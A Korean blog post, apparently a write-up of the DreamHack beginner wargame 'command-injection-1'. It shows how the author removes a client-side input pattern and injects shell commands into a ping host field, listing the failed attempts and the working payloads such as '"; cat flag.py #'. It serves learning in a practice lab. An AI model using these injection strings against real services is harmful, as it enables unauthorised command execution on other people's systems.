반응형
드림핵 사이트의 워게임 중 웹 해킹 관련
command-injection-1 (Beginner) 문제에 대해서 정리해보려 합니다
<문제설명>
특정 Host에 ping 패킷을 보내는 서비스입니다.
Command Injection을 통해 플래그를 획득하세요. 플래그는 flag.py에 있습니다.
<문제를 풀기 위한 시도 정리>
제공해 준 서버에 접속하면 아래와 같은 화면이 나온다
8.8.8.8 로 입력 (ping 확인이 된다 해당 입력창이 command 명령어가 먹는다를 확인)
8.8.8.8111 로 입력 (ping은 확인이 안 된다 하지만 해당 입력창이 command 명령어가 먹는다를 확인)
본격적으로 command 명령어 입력 시도 문자 입력을 시도하는데 아래와 같은 문구 확인
입력문자 ; echo 'echo hello
개발자도구를 통해 확인해본 결과 pattern 속성이 되어있었고,
알파벳숫자 조합으로 5자 이상 20자 이하로 형식이 제한되어 있음을 확인
pattern 속성값을 삭제하고 command injection을 시도
# 시도했던 command 명령어
8.8.8.8
8.8.8.8111
; echo 'echo hello
aaaa <-- 길이 확인을 위해 5자 이상인지 앞, 뒤 둘중 하나만 확인 하면 되므로
aaaaa <-- 길이 확인을 위해 5자 이상인지 앞, 뒤 둘중 하나만 확인 하면 되므로
### 여기서 부터 pattern 삭제 후 시도
; echo 'echo hello
""echo hello""
"; echo 'echo hello';
"; echo hello;
"; echo 'hello'
; ls
; ls -al
"; "ls -al
"; ls -al;"
"; echo 'hello' # <-- 성공
"; ls -a #" <-- 성공
"; ls # <-- 성공
"; cat flag.py #" <-- DH 플래그 확인
앞에 값을; 닫고, 뒤에 부분에 원하는 명령어를 입력하고 # 주석처리를 해야 함을 확인 (sqli와 비슷)
"; echo 'hello' # 입력
"; ls # 입력
"; cat flag.py # 입력
하면 원하던 flag 값을 얻을 수 있다
문제 출처 및 참조
반응형
'IT Security > DreamHack' 카테고리의 다른 글
드림핵 워게임 baby-union (Level 1) 문제 풀이 정리 (2) | 2024.11.12 |
---|---|
드림핵 워게임 error based sql injection 문제 풀이 (Level 1) (0) | 2024.11.11 |
드림핵 워게임 sql injection bypass WAF Advanced 문제 풀이 정리 (Level 2) (1) | 2024.11.09 |
드림핵 워게임 sql injection bypass WAF 문제 풀이 정리 (Level 1) (1) | 2024.11.08 |
드림핵 워게임 blind sql injection advanced 문제 풀이 정리 (Level 2) (0) | 2024.11.03 |